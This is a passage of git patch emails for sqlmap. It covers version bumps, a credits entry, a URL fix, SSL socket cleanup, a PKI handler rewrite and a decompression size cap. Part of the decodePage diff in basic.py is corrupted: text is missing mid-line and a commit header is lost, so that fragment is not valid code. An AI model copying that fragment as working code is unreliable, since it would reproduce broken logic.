From 4a40101647a01c364016fb4dd25fc4cbc5d0e627 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 1 Jan 2026 19:29:27 +0100 Subject: [PATCH 001/135] Dummy update --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e602640a9d3..18b7d49d976 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3e2ecb51860fac6002973bc2d2149fe6d4f7860646768396e2f211bf41b9f327 lib/core/settings.py +6e883c429afb11accdbe46dd8284d938640bb70c455806ffff2ec14de04b996c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4d5a20db63c..792941e2fa6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10" +VERSION = "1.10.1.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -61,7 +61,7 @@ UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates -DUMMY_JUNK = "Aich8ooT" +DUMMY_JUNK = "theim1Ga" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" From 737f2279e2446a464e2e106e7b03836ce1ae48f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 2 Jan 2026 01:35:56 +0100 Subject: [PATCH 002/135] Adding credits for --tui (#5965) --- data/txt/sha256sums.txt | 4 ++-- doc/THANKS.md | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 18b7d49d976..62191f0f20e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -88,7 +88,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo eeaec8f6590db3315a740b04f21fed8ae229d9d0ef8b85af5ad83a905e9bfd6e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md -2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md +7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md 25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6e883c429afb11accdbe46dd8284d938640bb70c455806ffff2ec14de04b996c lib/core/settings.py +36bede69423a6b14b2ad9aa6c68150aec76b53cc91db4ca13339b59e7771faac lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/doc/THANKS.md b/doc/THANKS.md index 3d5e9ec7e75..36d8572620d 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -535,6 +535,9 @@ Duarte Silva M Simkin, * for suggesting a feature +Tanaydin Sirin, +* for implementation of ncurses TUI (switch --tui) + Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server diff --git a/lib/core/settings.py b/lib/core/settings.py index 792941e2fa6..224ba7a00da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.1" +VERSION = "1.10.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ec123bafb1140f7500f7dbc92eba9929de822461 Mon Sep 17 00:00:00 2001 From: Farhan Ansari <78426321+fxrhan@users.noreply.github.com> Date: Mon, 5 Jan 2026 00:35:13 +0530 Subject: [PATCH 003/135] Fix broken GitHub downloads URL in update message (#6001) The /downloads endpoint was removed by GitHub years ago and now returns 404. Updated to point to /releases which has the actual download links. --- lib/core/update.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/update.py b/lib/core/update.py index bd5e4203964..78635ff39d8 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -163,7 +163,7 @@ def update(): infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " - infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" + infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" From 8c9e70496bce6e1c5275979906f62d08e7206701 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:08:43 +0100 Subject: [PATCH 004/135] Proper patch for #6000 --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 3 +++ 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 62191f0f20e..21c89d82162 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,14 +189,14 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -36bede69423a6b14b2ad9aa6c68150aec76b53cc91db4ca13339b59e7771faac lib/core/settings.py +7dfde59e8efcd684be4cd84f93024554406d139d8604a0336cfac81f5f5008ac lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py 85b7d6a724536bfcadd317972d4baec291e3813d6773921ee31755046a950a9a lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py -492126b1f4c5ec0a352c507907a6f2067ec3a459250ed1c5d75f6457ef14a01f lib/core/update.py +10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py 9ed5a0aef84f55d42894a006ff3616e8ee388a55790b04d968c80d1470c6d3bc lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py 9ef303e18311e204727dac71c0ed8b814ab6aa1185f2af0a9703b95e5b3ea6e8 lib/request/dns.py -ea553def411d6e208fb831a219b0241397fada46aaad432fc3c34addf75a336e lib/request/httpshandler.py +f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 224ba7a00da..5ffab8e8507 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.2" +VERSION = "1.10.1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 9ac900dc928..94f50fb1a16 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -65,6 +65,7 @@ def create_sock(): # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + sock = None try: sock = create_sock() if protocol not in _contexts: @@ -94,6 +95,8 @@ def create_sock(): sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: self._tunnel_host = None + if sock: + sock.close() logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) elif hasattr(ssl, "wrap_socket"): From 6ef62d0201496f306040296c77a43a7678faf749 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:22:02 +0100 Subject: [PATCH 005/135] Minor improvement of PKI handler --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/pkihandler.py | 28 +++++++++++++++++++++++++--- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 21c89d82162..a6bd2f12283 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7dfde59e8efcd684be4cd84f93024554406d139d8604a0336cfac81f5f5008ac lib/core/settings.py +4284c63fe1589282f961392380a83990d5bf1baa41d6056bc69aa2e4ec6ab8aa lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -219,7 +219,7 @@ f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/ht 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py -5c3edfca5ad58153ad6cface03777e059d3308b2aa3c38db993b5054145faa8e lib/request/pkihandler.py +43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py 4efead49b76d1237c283ecf281673d8762e09575d05af2a1e24680900ca83d0b lib/request/rangehandler.py 47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5ffab8e8507..0c977ceca57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.3" +VERSION = "1.10.1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 4b34bbe6d41..5b1c3495e4b 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -5,12 +5,20 @@ See the file 'LICENSE' for copying permission """ +ssl = None +try: + import ssl as _ssl + ssl = _ssl +except ImportError: + pass + from lib.core.data import conf from lib.core.common import getSafeExString from lib.core.exception import SqlmapConnectionException from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib + class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): _urllib.request.HTTPSHandler.__init__(self) @@ -20,10 +28,24 @@ def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): + if timeout is None: + timeout = conf.timeout + + if not hasattr(_http_client, "HTTPSConnection"): + raise SqlmapConnectionException("HTTPS support is not available in this Python build") + try: - # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain - return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) - except IOError as ex: + if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): + ctx = ssl.create_default_context() + ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) + try: + return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) + except TypeError: + pass + + return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=timeout) + + except (IOError, OSError) as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) From 15c65d084c1e4023b735909e9f491640d2c63235 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:23:41 +0100 Subject: [PATCH 006/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/rangehandler.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a6bd2f12283..a5677398d51 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4284c63fe1589282f961392380a83990d5bf1baa41d6056bc69aa2e4ec6ab8aa lib/core/settings.py +e9cdbf4991b1f19fb367133c85ea8fe6c189ac03b9db516fa58de9c5e41376fe lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -220,7 +220,7 @@ f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/ht aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py -4efead49b76d1237c283ecf281673d8762e09575d05af2a1e24680900ca83d0b lib/request/rangehandler.py +b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py 47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c977ceca57..fdfa0d8a05a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.4" +VERSION = "1.10.1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 6aeba3e0a4f..1d19cfdd154 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -25,5 +25,5 @@ def http_error_206(self, req, fp, code, msg, hdrs): def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "there was a problem while connecting " - errMsg += "target ('406 - Range Not Satisfiable')" + errMsg += "target ('416 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) From 760fac59d88c18804239cd74cde2877fafa2a87d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:34:57 +0100 Subject: [PATCH 007/135] Minor patch of max connection total size --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/basic.py | 13 +++++++------ 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a5677398d51..4f08574beb3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e9cdbf4991b1f19fb367133c85ea8fe6c189ac03b9db516fa58de9c5e41376fe lib/core/settings.py +b38f42c65a2cdb32bb82234dc48b041c054a0291ce6b51ade0cf19da72b6f6ff lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -209,7 +209,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -a30f18e52463c7c483430201b194350b55a54855507b253af826992e7e5c8435 lib/request/basic.py +d04feda1063f643fda30b9c444d5950561143d18fa6ee822967d3ad3101483f9 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py diff --git a/lib/core/settings.py b/lib/core/settings.py index fdfa0d8a05a..5695d68d56d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.5" +VERSION = "1.10.1.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 2171f5465dd..b2c5df4d22f 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -10,7 +10,6 @@ import io import logging import re -import struct import zlib from lib.core.common import Backend @@ -291,14 +290,16 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): try: if contentEncoding == "deflate": - data = io.BytesIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations + obj = zlib.decompressobj(-15) + page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) + page += obj.flush() + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) - size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: + page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") - - page = data.read() except Exception as ex: if b" Date: Sun, 4 Jan 2026 20:36:46 +0100 Subject: [PATCH 008/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/basic.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4f08574beb3..8316502d24d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b38f42c65a2cdb32bb82234dc48b041c054a0291ce6b51ade0cf19da72b6f6ff lib/core/settings.py +2524083308a4d8442e02e76003032ab0dd2e96976f35a49366f99eb61382c648 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -209,7 +209,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -d04feda1063f643fda30b9c444d5950561143d18fa6ee822967d3ad3101483f9 lib/request/basic.py +e85d35a023d4049a9e69818c9eb37ae96be41252569e101d4157ef2933ea32f1 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5695d68d56d..e1eab4ac4d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.6" +VERSION = "1.10.1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index b2c5df4d22f..4685eaf4395 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -281,8 +281,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - contentEncoding = contentEncoding.lower() if hasattr(contentEncoding, "lower") else "" - contentType = contentType.lower() if hasattr(contentType, "lower") else "" + contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" + contentType = getText(contentType).lower() if contentType else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: From 58ebc41b28040389009b44aaee0efad28f87574a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:46:18 +0100 Subject: [PATCH 009/135] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8316502d24d..45644a5145e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -a9ead7442c8e1f34f03ad4db1145c08ee5907904c97e7dfd3202c752618b1092 lib/core/option.py +6576d40a66fa7871d3498c193f4e1e50a9fa9a380005d019c5c2266c1dc31c21 lib/core/option.py fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2524083308a4d8442e02e76003032ab0dd2e96976f35a49366f99eb61382c648 lib/core/settings.py +df6a79b46ff70144251ab69509319bc857b6ec6637f4e79112f2d779cde87c59 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -209,7 